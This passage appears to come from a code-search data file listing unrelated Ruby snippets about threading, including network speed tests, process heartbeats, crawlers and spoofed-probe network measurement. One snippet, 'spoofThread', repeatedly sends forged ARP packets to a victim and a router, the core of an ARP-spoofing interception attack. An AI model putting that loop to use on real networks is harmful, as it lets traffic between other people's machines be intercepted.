begin\n Timeout.timeout(@config['NETSERVATE']['TEST_TIMEOUT'].to_i || 90) { net_results = test.run }\n rescue\n puts \"Test timed out - assuming failure.\"\n end\n\n # Print/check results\n download_checked = false\n upload_checked = false\n result_text = nil\n if net_results != nil\n download_checked = true if net_results.pretty_download_rate.to_i != 0\n upload_checked = true if net_results.pretty_upload_rate.to_i != 0\n result_text = \"\\nServer: #{net_results.server}\\n\"\\\n \"Download rate: #{download_checked ? net_results.pretty_download_rate : \"n/a\"}\\n\"\\\n \"Upload rate: #{upload_checked ? net_results.pretty_upload_rate : \"n/a\"}\\n\"\\\n \"Latency: #{net_results.latency}\\n\"\\\n \"Time: #{test_time}\\n\"\n puts result_text\n # Store results in array\n if @results.length >= 20\n @results.shift # Remove first result if 20\n end\n @results.push({\n server: net_results.server,\n download: download_checked ? net_results.pretty_download_rate : \"n/a\",\n upload: upload_checked ? net_results.pretty_upload_rate : \"n/a\",\n time: test_time\n })\n else\n result_text = \"\\nServer: Test timed out.\\n\"\\\n \"Download rate: n/a\\n\"\\\n \"Upload rate: n/a\\n\"\\\n \"Latency: n/a\\n\"\\\n \"Time: #{test_time}\\n\"\n puts result_text\n # Store results in array\n if @results.length >= 20\n @results.shift # Remove first result if 20\n end\n @results.push({\n server: \"Test timed out.\",\n download: \"n/a\",\n upload: \"n/a\",\n time: test_time\n })\n end\n\n # Log results\n begin\n logger = Logger.new(\"#{@root_path}/log/netservate.log\", 10, 1024000)\n logger.info result_text\n rescue => error\n puts \"ERROR: \" + error\n end\n\n # Check criteria\n if (net_results == nil) ||\n (net_results.pretty_download_rate.to_f < @config['NETSERVATE']['MIN_DOWNLOAD_SPEED'].to_f && download_checked) ||\n (net_results.pretty_upload_rate.to_f < @config['NETSERVATE']['MIN_UPLOAD_SPEED'].to_f && upload_checked)\n @failed_test_count += 1\n puts \"Test does not meet criteria. (#{@failed_test_count})\"\n\n # If too many fails in a row - send an alert.\n if (@failed_test_count % @config['NETSERVATE']['FAILS_IN_A_ROW'].to_i == 0)\n send_alert(\n subject: \"Netservate Alert\",\n message: \"There have been #{@failed_test_count.to_s} failed network speed tests in a row.\"\n )\n end\n\n # Wait before next loop - Reset if max fail count reached.\n if @failed_test_count < @config['NETSERVATE']['MAX_FAILS_IN_A_ROW'].to_i\n puts \"\\nNext test in #{@fail_wait_time} seconds...\"\n sleep(@fail_wait_time)\n else\n puts \"\\nMax fails in a row reached...\"\n puts \"Next test in #{@wait_time} seconds...\"\n @failed_test_count = 0\n sleep(@wait_time)\n end\n\n else\n @failed_test_count = 0\n puts \"Test meets criteria.\"\n puts \"\\nNext test in #{@wait_time} seconds...\"\n # Wait before next loop\n sleep(@wait_time)\n end\n\n rescue => error\n puts \"ERROR: \" + error\n end\n\n end\n end", "def sleepy_run; end", "def silence_single_worker_warning; end", "def threads\n option :threads, DEFAULT_THREAD_AMOUNT\n end", "def initialize\n @threads = []\n end", "def reportOnline(time)\n t =Thread.new{\n puts \"Online report thread = \" + Thread.current.to_s\n sleep(@@threadSleep)\n while true\n sleep(time)\n online\n end\n }\n \n if @@test_messages\n puts \"Online report thread = \" + t.to_s\n end\n @@threadIDs.merge!({t.to_s => \"online report\"})\nend", "def server_timing; end", "def use_threads?\n !defined?(VCR)\n end", "def start_request_supernodes_thread\n Thread.new do \n # read the request interval\n interval = @driver.config['request_interval'].to_i\n # number of supernodes each time\n number = @driver.config['request_number'].to_i\n \n while true\n sleep(interval)\n # get supernodes sockets from supernode table\n socks = @supernode_table.supernodes\n # Sends +RequestSupernodes+ message. Because the number of socks is not\n # so large, and it doesn't wait for the response after sending, it sends\n # messages one by one here instead of using multiple threads.\n request_msg = Protocol::RequestSupernodes.new(number)\n request_msg.ctime = DateTime.now\n socks.each do |sock|\n request_supernodes(sock,request_msg)\n end\n end\n end\n end", "def allow_concurrency; end", "def allow_concurrency; end", "def thread()\n #This is a stub, used for indexing\n end", "def spoofThread(arp_packet_victim, arp_packet_router)\n\n\tcaught=false\n\twhile caught==false do\n\t\tsleep 2\n\t\tarp_packet_victim.to_w(@interface)\n\t\tarp_packet_router.to_w(@interface)\n\tend\nend", "def test_thread_device_status\n\n #Open socket connection to device\n cmd_proc = SerialCmd.new(:device_ip => @@device2, :tcp_port=>@@port2)\n\n #Verify connection is open\n assert_true(cmd_proc.is_connected, \"Device not connected to IP #{@@device2}!\")\n\n @@received_pkts = Array.new\n\n @semaphore = Mutex.new\n thread_count = 100\n for i in 1..thread_count\n #Create new thread\n new_thread(\"thread_device_status\", i, cmd_proc)\n end\n\n #wait till all threads completes its execution\n join_all_threads\n\n #Receive all sent packets at once\n @@received_pkts.concat cmd_proc.receive_packets\n\n #Check received number of packets is same as sent\n assert_equal(thread_count, @@received_pkts.length, \"Not all packets received!\")\n\n #Close socket connection\n cmd_proc.close\n end", "def worker_check_interval(interval); end", "def processor_count; end", "def processor_count; end", "def test_enroll_verify_thread\n\n #Create new threads with parameters\n new_thread(\"enroll_verify_hex\", @@device1, @@port1)\n new_thread(\"enroll_verify_hex\", @@device2, @@port2)\n\n end", "def run\n run_one_instruction while threads.length > 0\n end", "def threads\n parsed_config.map { |check_opts| thread_for(check_opts) }\n end", "def capture(filter,filesize=200000,fileNumber=10)\r\n\tcreate_dirs\r\n begin\r\n\t\t@capthr=Thread.new do\r\n\t rs=`sudo tshark -i #{@intf} -f \"#{filter}\" -w #{@pkgspath} -a filesize:#{filesize} -a files:#{fileNumber}`\r\n\t end\r\n \tsleep 10 \r\n\t #@capthr.abort_on_exception=true\r\n\trescue =>ex\r\n puts ex.message.to_s\r\n\tend\r\n\treturn @capthr\r\n end", "def _dump_threads()\n tl = Thread::list\n tl.each do |at|\n p [ \"THDMPN\", at ]\n end\n p [ \"THDMPMain\", @parameters[:client_main] ]\n end", "def spoof_and_receive_probes(receiver2spoofer2targets, settings={ :probe_type => :rr, :retry => false }, &probe_requests_to_destinations )\n # thread out on receivers\n # iterate through until the next one will add too many targets\n # each time, add the targets to the receiver targets\n # and append to a receiver hash its targets\n # once i hit the limit, call receive, then thread out over the spoofers\n settings[ :probe_type ]=:rr if not settings.include?( :probe_type )\n settings[ :retry ]=false if not settings.include?( :retry )\n trivial_timeout=15\n results=[]\n unsuccessful_receivers=[]\n receiver_threads=[]\n privates=[]\n blacklisted=[]\n receiver2spoofer2targets.values.each {|spoofer2targets|\n spoofer2targets.each{|spoofer,targets|\n spoofer2targets[spoofer],privates,blacklisted=inspect_targets(targets,privates,blacklisted,@controller_log)\n }\n spoofer2targets.delete_if {|spoofer,targets| targets.empty?}\n }\n log { \"spoof_and_receive_probes(}, receiver2spoofer2targets: #{receiver2spoofer2targets.inspect}\" }\n for receiver in receiver2spoofer2targets.keys\n log {\"receiver is \" + receiver + \" total targs \" + receiver2spoofer2targets[receiver].values.collect{|requests| probe_requests_to_destinations.call(requests)}.flatten.length.to_s + \" total spoofers \" + receiver2spoofer2targets[receiver].length.to_s}\n receiver_threads << Thread.new(receiver,settings[:retry]) { |my_receiver_name,my_retry_command|\n begin # exception block for the receiver thread\n total_targets=receiver2spoofer2targets[my_receiver_name].values.collect{|requests| probe_requests_to_destinations.call(requests)}.flatten.length.to_s\n Thread.current[:receiver]=my_receiver_name\n Thread.current[:success]=false # false until proven true\n\n # may throw UnknownVPError\n my_receiver=self.get_vp(my_receiver_name)\n fid=0\n Timeout::timeout(trivial_timeout, SockTimeout.new(\"#{my_receiver_name} timed out after #{trivial_timeout} getting ready to receive spoofed #{settings[:probe_type].to_s}\")) {\n fid=case settings[:probe_type]\n when :rr\n my_receiver.receive_spoofed_rr\n when :ts\n my_receiver.receive_spoofed_ts\n when :tr\n my_receiver.receive_spoofed_tr\n end\n }\n # while i theoretically could catch the timeout here and assume that it might\n # still be receiving, in practice i'll need the fid to fetch the file later\n # could modify that if it ends up being a problem\n\n holes_to_punch=[]\n probes_to_send=Hash.new { |hash, key| hash[key] = [] }\n spoofer_count=0\n log {\"Before each_pair: #{my_receiver_name} #{receiver2spoofer2targets.inspect}\"}\n receiver2spoofer2targets[my_receiver_name].each_pair{|spoofer,targets|\n log {\"Before while loop: #{my_receiver_name} spoofer #{spoofer} targets #{targets.inspect}\"}\n spoofer_count += 1\n while targets.length>0\n log {\"top of targets.length loop: spoofer for #{my_receiver_name} is \" + spoofer + \" #{targets.length} \" + probe_requests_to_destinations.call(targets).join(\",\")}\n if (holes_to_punch.length + targets.length >= $MAX_HOLES) or (spoofer_count==receiver2spoofer2targets[my_receiver_name].keys.length)\n num_to_take=[$MAX_HOLES-holes_to_punch.length,targets.length].min\n init_length=holes_to_punch.length\n probes_to_send[spoofer] += targets[0...num_to_take]\n holes_to_punch += probe_requests_to_destinations.call(targets[0...num_to_take])\n targets[0...num_to_take]=[]\n log {\"before send probes: spoofer for #{my_receiver_name} is \" + spoofer + \" down to #{targets.length} \" }\n # send probes\n log {my_receiver_name + \" punching holes \" + holes_to_punch.join(\" \")}\n begin\n receiver_timeout=Controller::calculate_ping_timeout(holes_to_punch.length)\n Timeout::timeout(receiver_timeout, SockTimeout.new(\"#{my_receiver_name} timed out after #{receiver_timeout} punching #{holes_to_punch.length} holes\")) {\n my_receiver.punch_holes(holes_to_punch)\n }\n # handle timeouts a bit differently bc it\n # still might have punched some holes\n # so we continue even if it fails the 2nd time\n rescue SockTimeout\n if my_retry_command\n my_retry_command=false\n sleep 2\n retry\n else\n log {\"#{my_receiver_name} timed out punching holes EXCEPTION! \" + $!.to_s }\n end\n rescue java.lang.OutOfMemoryError => e\n raise \"OOM here! #{e.backtrace.inspect}\"\n rescue Exception\n if my_retry_command\n my_retry_command=false\n sleep 2\n retry\n else\n # we raise here to get to the\n # quarantine\n # no point in spoofing\n raise\n end\n end # send probes\n sleep 2\n spoofer_threads=[]\n max_length=probes_to_send.values.collect{|x| x.length}.max\n spoofer_timeout=Controller::calculate_spoof_timeout(max_length)\n for spoofer_key in probes_to_send.keys\n spoofer_threads << Thread.new(spoofer_key){|my_spoofer_name|\n begin # exception block for spoofer thread\n Thread.current[:host] = my_spoofer_name\n\n # may raise UnknownVPError\n my_spoofer=self.get_vp(my_spoofer_name)\n log {\"spoofing as #{my_receiver_name} from #{my_spoofer_name}: #{probes_to_send[my_spoofer_name].length} #{probe_requests_to_destinations.call(probes_to_send[my_spoofer_name]).join(\" \")}\"}\n\n Timeout::timeout(spoofer_timeout, SockTimeout.new(\"#{my_spoofer_name} timed out after #{spoofer_timeout} spoofing #{probes_to_send[my_spoofer_name].length} probes as #{my_receiver_name}\")){\n case settings[:probe_type]\n when :rr\n my_spoofer.spoof_rr({$pl_host2ip[my_receiver_name] => probes_to_send[my_spoofer_name]})\n when :ts\n my_spoofer.spoof_ts({$pl_host2ip[my_receiver_name] => probes_to_send[my_spoofer_name]})\n when :tr\n my_spoofer.spoof_tr({$pl_host2ip[my_receiver_name] => probes_to_send[my_spoofer_name]})\n end\n }\n rescue java.lang.OutOfMemoryError => e\n raise \"OOM here! #{e.backtrace.inspect}\"\n rescue Exception\n if settings.include?(:backtrace)\n $!.set_backtrace($!.backtrace + settings[:backtrace])\n end\n log { \"Spoofer error\" }\n quarantine(my_spoofer_name,( settings.include?(:maxalert) ? settings[:maxalert] : TEXT ),$!)\n end # exception block for spoofer thread\n }\n end # for spoofer_key in probes_to_send.keys\n # need to make sure the other threads all end (w timeouts if nothing else) to\n # make sure join returns\n spoofer_threads.each{|t|\n log {\"Waiting for spoofer #{t[:host]}\"}\n t.join\n }\n log {\"bottom of targets.length loop: spoofer for #{my_receiver_name} was \" + spoofer + \" down to #{targets.length} \" }\n holes_to_punch=[]\n probes_to_send.clear\n else # ^-- if $MAX_HOLES_TO_PUNCH or spoofer_count == # spoofers\n holes_to_punch += probe_requests_to_destinations.call(targets)\n probes_to_send[spoofer] += targets\n targets=[]\n end\n end # while targets.size>0\n } # receiver2spoofer2targets[my_receiver_name].each_pair{|spoofer,targets|\n\n\n # sleep to make sure last probes get back\n sleep 2\n fetch_timeout= 20 + (total_targets.to_f/100.0).round\n Timeout::timeout(fetch_timeout, SockTimeout.new(\"#{my_receiver_name} timed out after #{fetch_timeout} trying to kill and retrieve #{fid}\")) {\n probes=my_receiver.kill_and_retrieve(fid)\n log {\"Saving results for \" + my_receiver_name}\n Thread.current[:results]=probes\n Thread.current[:success]=true\n }\n # end exception block for the receiver thread\n rescue java.lang.OutOfMemoryError => e\n raise \"OOM here! #{e.backtrace.inspect}\"\n rescue Exception\n if my_retry_command\n my_retry_command=false\n sleep 2\n retry\n else\n if settings.include?(:backtrace)\n $!.set_backtrace($!.backtrace + settings[:backtrace])\n end\n quarantine(my_receiver_name,( settings.include?(:maxalert) ? settings[:maxalert] : TEXT ),$!)\n end\n end # exception block for receiver thread\n } # receiver_threads << Thread.new\nend # for receiver in\nreceiver_threads.each{|rt|\n log {\"Waiting for receiver #{rt[:receiver]}\"}\n # need to make sure the other threads all end (w timeouts if nothing else) to\n # make sure join returns\n rt.join\n if rt[:success]\n log {\"Adding results for #{rt[:receiver]}\"}\n results << [rt[:results],rt[:receiver]]\n else\n unsuccessful_receivers << rt[:receiver]\n end\n}\nreturn results,unsuccessful_receivers,privates,blacklisted\nend", "def thread=(_arg0); end", "def run\n require File.expand_path(\"../#{config[:check]}\", $PROGRAM_NAME)\n\n threads.each(&:join)\n\n puts status_information unless status_information.empty?\n summarize!\n end", "def main\n #server=TCPServer::new('10.0.0.60',port)\n @server=TCPServer::new(@port)\n $logger.debug \"Running on Port #{@port}\"\n begin\n if defined?(Fcntl::FD_CLOEXEC)\n @server.fcntl(Fcntl::FD_CLOEXEC,1)\n end\n @server.listen(5)\n #@[email protected]_nonblock\n rescue Errno::EAGAIN, Errno::ECONNABORTED, Errno::EPROTO, Errno::EINTR\n IO.select([@server])\n retry\n end\n Analyzer.find(:all).each { |analyzer|\n # If on start if analyzer is in downstream mode and ingress then restart the processl\n if (analyzer.cmd_port.nil?) && ((analyzer.status == Analyzer::INGRESS) || (analyzer.status == Analyzer::DOWNSTREAM))\n port=get_port(analyzer.id)\n $logger.error \"We don't have a port number for #{analyzer.id}, assigning it #{port}\"\n analyzer.update_attributes({:cmd_port=>port})\n elsif (!analyzer.cmd_port.nil?) && ((analyzer.status == Analyzer::INGRESS) || (analyzer.status == Analyzer::DOWNSTREAM))\n @ports_analyzer[analyzer.cmd_port - @start_port]=analyzer.id\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n #analyzer.update_attributes({:status=>Analyzer::DISCONNECTED})\n }\n an_count=Analyzer.find(:all).size\n try_count=Array.new(an_count,0)\n while(1)\n Analyzer.find(:all).each { |analyzer|\n if (!analyzer.cmd_port.nil?)\n @ports_analyzer[analyzer.cmd_port - @start_port]=analyzer.id\n try_count[analyzer.id]=0 if try_count[analyzer.id].nil?\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n }\n time=Time.now()\n selected_socket_list=IO.select([@server],nil,nil,5)\n if (selected_socket_list.nil?)\n $logger.debug \"Nothing to send Do a heartbeat\"\n #logger.debugs @ports_analyzer.inspect()\n @ports_analyzer.each_index { |port_index|\n analyzer_id=@ports_analyzer[port_index]\n port=nil\n if !analyzer_id.nil?\n port=get_port(analyzer_id)\n end\n\n unless port.nil?\n try_count[analyzer_id] +=1\n request=Net::HTTP.new('localhost',port)\n $logger.debug \"Do a heartbeat on #{port}\"\n #tries=0\n flag=true\n begin\n #sleep 5\n #tries +=1\n $logger.debug \"TRY # #{try_count[analyzer_id]}\"\n\n response=request.get(\"/\")\n rescue Timeout::Error #Instrument not responding. Lets kill the process.\n flag=false\n anl=Analyzer.find(analyzer_id)\n if (!anl.nil?) && (!anl.pid.nil?) && (anl.pid != 0)\n Process.kill(\"TERM\", anl.pid)\n else\n SystemLog.log(\"Unable to start monitoring process for Analyzer: #{anl.name}\",nil,SystemLog::MESSAGE,analyzer_id)\n anl.update_attribute({:pid=>0})\n end\n rescue\n #sleep 5\n #$logger.debug \"Try again\"\n flag=false\n if (try_count[analyzer_id] > 5)\n try_count[analyzer_id]=0\n $logger.debug \"Restarting monitor for #{analyzer_id}\"\n SystemLog.log(\"(Re)Starting the monitor server #{Analyzer.find(analyzer_id).ip}\",nil,SystemLog::MESSAGE,analyzer_id)\n start_monitor(analyzer_id, port)\n end\n end\n if flag==true\n try_count[analyzer_id]=0\n end\n $logger.debug response.inspect()\n end\n diff=Time.now-time\n if diff < 5\n sleep (5-diff)\n end\n }\n else\n selected_socket=selected_socket_list[0].first()\n @sock=selected_socket.accept\n process()\n end\n end\n end", "def running?; !!@thread end", "def throttles; end", "def loop_threads_and_fetch_url(url_list)\n if @@url_hash.size < @@max_url\n unless url_list.empty?\n if running_thread_count() >= 5\n sleep @@sleep_timer*60\n loop_threads_and_fetch_url(url_list)\n else\n url_list = url_list.map { |url| url if get_host_without_www(url) == 'medium.com' }.compact\n save_data(url_list)\n new_urls_to_scrap = update_url_hash(url_list).compact\n @@retry_counter = 0 #setting the value for every new request\n generate_thread(new_urls_to_scrap)\n end\n end\n end\n end", "def in_parallel?; end", "def poll_next_packet; end", "def initialize(args = {})\n @args = args\n @in = @args[:in]\n @out = @args[:out]\n @on_rec = @args[:on_rec]\n @in_count = 0\n @out_count = 0\n @out_answers = {}\n @out_mutex = Mutex.new\n @debug = @args[:debug]\n @args[:sleep_answer] = 0.001 if [email protected]?(:sleep_answer)\n @thread_error = nil\n \n #Used when this process is trying to receive block-results from the subprocess.\n @blocks = {}\n \n #Used when the other process is trying to receive block-results from this object.\n @blocks_send = {}\n \n #Else the sockets might hang when waiting for results and stuff like that... - knj.\n @in.sync = true\n @out.sync = true\n \n if @args[:err]\n @err_thread = Knj::Thread.new do\n @args[:err].each_line do |str|\n if @args[:on_err]\n @args[:on_err].call(str)\n else\n $stderr.print \"Process error: #{str}\"\n end\n \n #Try to break out of loop - the process has been destroyed.\n break if (!@out_mutex and str.to_s.strip.length <= 0) or (@args and @args[:err] and @args[:err].closed?)\n end\n end\n end\n \n if @args[:listen]\n require \"#{$knjpath}/thread\"\n @listen_thread = Knj::Thread.new do\n begin\n self.listen\n rescue => e\n $stderr.print \"#{Knj::Errors.error_str(e)}\\n\\n\" if @debug\n @thread_error = e\n end\n end\n end\n end", "def print_reocurring_status(interval=10)\n @stats_thread = Thread.fork(0) { |tcount|\n Thread.current[:name] = 'stats'\n loop do\n sleep(interval)\n begin\n total_defers = 0\n lines = []\n sent_to = Message.to_task_count.dup\n consumers.each do |c|\n name = c.task.name\n defers = c.stats.deferred\n recv = c.stats.recv\n rcnt = c.stats.results_len\n sent = sent_to.include?(name) ? sent_to[name] : 0\n total_defers += defers\n lines << format('[%1d:%2d]%22s Defers: %5d Messages sent:recv %5d:%5d:%d', proc_id, tcount, name, defers,sent,recv,rcnt)\n end\n sent = Message.sent_messages\n recv = Message.received_messages\n lines << format(\"[%1d:%2d] %37sMessages sent:recv %5d:%5d Jobs:Queued:Results %5d:%5d:%5d\\n\",\n proc_id, tcount, ' ',sent, recv, jobq.size, thpool.job_count, thpool.result_count)\n logger.raw(lines.join(\"\\n\"))\n rescue Exception => e\n $stderr.puts e.to_s\n $stderr.puts e.backtrace.join(\"\\n\")\n end\n\n #@complete = true unless activity?(jobq.size, thpool.job_count, thpool.result_count)\n tcount += 1\n end\n }\n end", "def generate_thread(source_url)\n begin\n source_url.each_slice(@@thread_size) do |batch|\n threads = []\n batch.each do |u|\n threads << Thread.new { get_all_links(u) }\n end\n threads.each { |thr| thr.join }\n end\n Thread.list.each do |thread|\n thread.exit unless thread == Thread.current\n end\n rescue Exception => e\n puts \"Exception occurred In Thread #{e.message}\"\n unless @@retry_counter != 0\n puts \"Retrying .....\"\n @@retry_counter = 1\n retry\n end\n end\n end", "def start_compute_hits_thread\n Thread.new do\n interval = @driver.config['update_routing_interval'].to_i\n while true\n sleep(interval)\n routing = estimate_hits\n\n # Send updated values to the supernodes\n ping_msg = Protocol::Ping.new(routing.authority,routing.hub,routing.authority_prime,routing.hub_prime,routing.supernode?)\n ping_msg.ctime = DateTime.now\n sns = @supernode_table.supernodes\n group = ThreadGroup.new\n sns.each do |sn|\n t = Thread.new(sn) do |sn|\n ping(sn.socket,ping_msg) unless sn.socket.nil?\n end\n group.add(t)\n end\n group.list.each { |t| t.join }\n end\n end\n end", "def spawn_monitor\n\t\t::Thread.new do\n\t\t\tbegin\n\n\t\t\t::Thread.current[:tm_name] = \"Thread Monitor\"\n\t\t\t::Thread.current[:tm_crit] = true\n\n\t\t\twhile true\n\t\t\t\t::IO.select(nil, nil, nil, 1.0)\n\t\t\t\tself.each_index do |i|\n\t\t\t\t\tstate = self[i].alive? rescue false\n\t\t\t\t\tself[i] = nil if not state\n\t\t\t\tend\n\t\t\t\tself.delete(nil)\n\t\t\tend\n\n\t\t\trescue ::Exception => e\n\t\t\t\telog(\"thread monitor: #{e} #{e.backtrace} source:#{self[:tm_call].inspect}\")\n\t\t\tend\n\t\tend\n\tend", "def mythread(no)\n\ttid = Thread.new do\n\t\tfor i in 1..5\n\t\t\tprintf\"thread %d (%d)\\n\",no,i\n\t\t\tsleep 1\n\t\tend\n\tend\n\treturn tid\nend", "def main\n STDERR.reopen File.join(File.dirname(__FILE__), \"../../log/master.err\"+($is_debug ? \".dug\" :\"\"))\n #server=TCPServer::new('10.0.0.60',port)\n @server=TCPServer::new(@port)\n $logger.debug \"Running on Port #{@port}\"\n begin\n if defined?(Fcntl::FD_CLOEXEC)\n @server.fcntl(Fcntl::FD_CLOEXEC, 1)\n end\n @server.listen(5)\n #@[email protected]_nonblock\n rescue Errno::EAGAIN, Errno::ECONNABORTED, Errno::EPROTO, Errno::EINTR\n IO.select([@server])\n retry\n end\n\n get_local_analyzers.each { |analyzer|\n # If on start if analyzer is in downstream mode and ingress then restart the processl\n if (analyzer.cmd_port.nil?) && ((analyzer.status == Analyzers::INGRESS) || (analyzer.status == Analyzers::DOWNSTREAM))\n port=get_port(analyzer.id)\n $logger.error \"We don't have a port number for #{analyzer.id}, assigning it #{port}\"\n elsif (!analyzer.cmd_port.nil?) && ((analyzer.status == Analyzers::INGRESS) || (analyzer.status == Analyzers::DOWNSTREAM))\n @ports_analyzer[analyzer.cmd_port - @start_port + 1]=analyzer.id\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n begin\n `touch /tmp/keepalive_#{analyzer.id}.out`\n rescue Exception => e\n $logger.debug \"raised a error,when touch KeepAlive file.\"\n $logger.debug e.class\n $logger.debug e.message\n end\n #analyzer.update_attributes({:status=>Analyzer::DISCONNECTED})\n }\n\n an_count=get_local_analyzers.size\n try_count=Array.new(an_count, 0)\n retrys= case an_count/5\n when 0 then\n 5\n when 1 then\n 3\n else\n 2\n end\n while (1)\n get_local_analyzers.each { |analyzer|\n if (!analyzer.cmd_port.nil?)\n @ports_analyzer[analyzer.cmd_port - @start_port + 1]=analyzer.id\n try_count[analyzer.id]=0 if try_count[analyzer.id].nil?\n $logger.debug \"Setting cmd port #{analyzer.cmd_port}\"\n end\n if $is_debug && (not $loggers.has_key? analyzer.id)\n $loggers[analyzer.id] = Logger.new(File.join(File.dirname(__FILE__), \"../../log/master_#{analyzer.id}.dug\"))\n $loggers[analyzer.id].formatter = MasterPrettyErrors.new\n $loggers[analyzer.id].level=Logger::DEBUG\n end\n }\n time=Time.now()\n selected_socket_list=IO.select([@server], nil, nil, 5)\n if (selected_socket_list.nil?)\n $logger.debug \"Nothing to send Do a heartbeat\"\n #logger.debugs @ports_analyzer.inspect()\n @ports_analyzer.each_index { |port_index|\n analyzer_id=@ports_analyzer[port_index]\n port=nil\n if !analyzer_id.nil?\n port=get_port(analyzer_id)\n end\n\n unless port.nil?\n # keepalive check\n begin\n active_time=File.ctime(\"/tmp/keepalive_#{analyzer_id}.out\")\n if Time.now-active_time > 1200\n $logger.debug \"KeepAlive overdue for #{analyzer_id}\"\n raise\n end\n rescue Errno::ENOENT => e\n $logger.debug \"KeepAlive doesn't exist!\"\n `touch /tmp/keepalive_#{analyzer_id}.out`\n rescue Exception => e\n $logger.debug \"Monitor process dead, let's kill it!\"\n anl=Analyzers.find(analyzer_id)\n if (!anl.nil?) && (!anl.pid.nil?) && (anl.pid != 0)\n begin\n $loggers[anl.id].debug \"Kill analyzer process #{anl.pid}\" if $is_debug\n `kill -9 #{anl.pid}`\n try_count[analyzer_id]=0\n rescue\n end\n else\n System_logs.log(\"Unable to start monitoring process for Analyzer: #{anl.name}\", nil, System_logs::MESSAGE, analyzer_id)\n $loggers[anl.id].debug \"Unable to start monitoring process for Analyzer: #{anl.name}\" if $is_debug\n anl.update_attributes({:pid => nil})\n end\n $logger.debug \"Restarting monitor for #{analyzer_id}\"\n $loggers[anl.id].debug \"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\" if $is_debug\n System_logs.log(\"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\", nil, System_logs::MESSAGE, analyzer_id)\n `touch /tmp/keepalive_#{analyzer_id}.out`\n start_monitor(analyzer_id, port)\n try_count[analyzer_id] = 0\n next\n end\n\n try_count[analyzer_id] +=1\n request=Net::HTTP.new('localhost', port)\n $logger.debug \"Do a heartbeat on #{port}\"\n #tries=0\n flag=true\n begin\n #sleep 5\n #tries +=1\n $logger.debug \"TRY # #{try_count[analyzer_id]}\"\n $loggers[analyzer_id].debug \"Confirm analyzer cmd_port try_count # #{try_count[analyzer_id]}\" if $is_debug\n request.read_timeout=10\n response=request.get(\"/\")\n rescue Timeout::Error #Instrument not responding. Lets kill the process.\n $logger.debug \"Timeout::Error\"\n flag=false\n anl=Analyzers.find(analyzer_id)\n if (try_count[analyzer_id] > retrys)\n if (!anl.nil?) && (!anl.pid.nil?) && (anl.pid != 0)\n begin\n #`kill -9 #{anl.pid}`\n $logger.debug \"Kill analyzer process #{anl.pid}\"\n $loggers[anl.id].debug \"Kill analyzer process #{anl.pid}\" if $is_debug\n Process.kill(\"TERM\", anl.pid)\n try_count[analyzer_id]=0\n rescue\n end\n else\n System_logs.log(\"Unable to start monitoring process for Analyzer: #{anl.name}\", nil, System_logs::MESSAGE, analyzer_id)\n $loggers[anl.id].debug \"Unable to start monitoring process for Analyzers: #{anl.name}\" if $is_debug\n anl.update_attributes({:pid => nil})\n end\n end\n rescue Exception => e\n $logger.debug \"#{e.message}\"\n #sleep 5\n #$logger.debug \"Try again\"\n flag=false\n #if (try_count[analyzer_id] > 5)\n if (try_count[analyzer_id] > retrys)\n anl=Analyzers.find(analyzer_id)\n #ret = `ps -ef | grep #{anl.pid}`\n #unless ret.include?(\"monitor\")\n begin\n if Sticky_ID != -1 && Region.find(Analyzers.find(analyzer_id).region_id).server_id != Sticky_ID\n $logger.debug \"This analyzer is not on this server.\"\n $loggers[anl.id].debug \"This analyzer is not on this server.\" if $is_debug\n next\n end\n\n Process::getpgid anl.pid\n try_count[analyzer_id]=0\n rescue => e\n puts e.message\n try_count[analyzer_id]=0\n $logger.debug \"Restarting monitor for #{analyzer_id}\"\n System_logs.log(\"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\", nil, System_logs::MESSAGE, analyzer_id)\n $loggers[anl.id].debug \"(Re)Starting the monitor server #{Analyzers.find(analyzer_id).ip}\" if $is_debug\n `touch /tmp/keepalive_#{analyzer_id}.out`\n start_monitor(analyzer_id, port)\n end\n end\n end\n if flag==true\n try_count[analyzer_id]=0\n end\n $logger.debug \"response.inspect: #{response.inspect()}\"\n end\n diff=Time.now-time\n if diff < 5\n sleep (5-diff)\n end\n }\n else\n selected_socket=selected_socket_list[0].first()\n @sock=selected_socket.accept\n process()\n end\n end\n end", "def snapshot_every_n_requests; end", "def run ()\n Log4r::NDC.push('Main:')\n\n #Launch each teams scheduler\n @teams.each { |team|\n if team.teamhost == \"localhost\"\n @localteams << {:teamid=>team.teamid, :thr=> Thread.new { team.run(self) }}\n else\n #lookup the connection information for this team and dispatch the team\n end\n }\n\n @scoreStats = Thread.new do\n Log4r::NDC.push('Stats:')\n $log.debug \"Stats Thread Startup\"\n while @STATE != STOP or @STATE != QUIT\n if @STATE == RUN\n $log.debug \"Generating Data\"\n @scoreKeeper.generate_statistics(@gameclock.gametime)\n sleep(@statsResolution)\n elsif @STATE == WAIT or @STATE == READY\n $log.debug \"Sleeping while not in RUN state\"\n sleep\n end\n end\n $log.debug \"Stats Thread Shutdown\"\n end\n\n #Wait till all the teams are ready\n @STATE = READY\n\n #Poll the @INBOX waiting for tasks\n while @STATE != QUIT and message = @INBOX.pop do\n\n case message.signal\n\n #Dump Messages to the Screen only\n when 'CONSOLE'\n puts message.fromid.to_s.yellow + \" \" + message.msg.to_s\n # from = message.fromid.to_s\n # $log.info(from + \": \" + message.msg.to_s)\n\n #Dump Messages to the Screen and into the logfile\n when 'CONSOLELOG'\n puts message.fromid.to_s.yellow + \" \" + message.msg.to_s\n from = message.fromid.to_s\n $log.info(from + \": \" + message.msg.to_s)\n\n #Dump Messages into the logfile only\n when 'LOG'\n from = message.fromid.to_s\n $log.info(from + \": \" + message.msg.to_s)\n\n when 'SCORE'\n #We are receiving a score hash that should be added to the appropriate score group\n timeT = Time.now.to_i\n gametime = message.msg[:gametime]\n group = message.msg[:scoregroup]\n value = message.msg[:value]\n eventid = message.msg[:eventid]\n eventuid = message.msg[:eventuid]\n\n $db.execute(\"INSERT INTO scores VALUES (?,?,?,?,?,?)\", [timeT, gametime, eventid, eventuid, group, value])\n $log.debug(\"Score recorded in db.score\")\n\n\n when 'EVENTLOG'\n #Log that an event was run\n tblArray = [Time.now.to_i,\n message.msg[:starttime],\n message.msg[:endtime],\n message.msg[:handler],\n message.msg[:eventname],\n message.msg[:eventid],\n message.msg[:eventuid],\n message.msg[:custom],\n message.msg[:status]\n 